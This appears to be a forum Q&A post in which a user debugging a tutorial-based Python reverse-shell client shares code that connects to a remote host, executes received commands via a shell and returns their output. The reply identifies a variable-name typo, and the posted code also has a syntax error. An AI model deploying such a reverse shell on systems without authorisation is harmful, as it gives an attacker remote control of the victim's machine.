Puure Herouine Puure Herouine - 1 year ago 61
Bash Question

socket client issue '__getitem__'

Hi there I was watching some tutorials about a Revers shell using python in youtube https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]

the purpose of this client is to receive command from the server , the server works great but when I ran the client it gave me this

File "/root/Desktop/Revers/client.py", line 15, in <module>
if data[:2].decode('utf-8') == "cd":
TypeError: 'module' object has no attribute '__getitem_

here is the code :

s = socket.socket()
s.connect((host, port))

while True:
date = s.recv(1024)
if data[:2].decode('utf-8') == "cd":
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes)
s.send(str.encode(output_str + str(os.getcwd()) + '> '))


Answer Source

There is a typo on this line:

     date = s.recv(1024)

date instead of data.

So the expression data[:2] calls data.__getitem__ where data is defined before.

As the error about a 'module' object, I guess data is a module you importe before.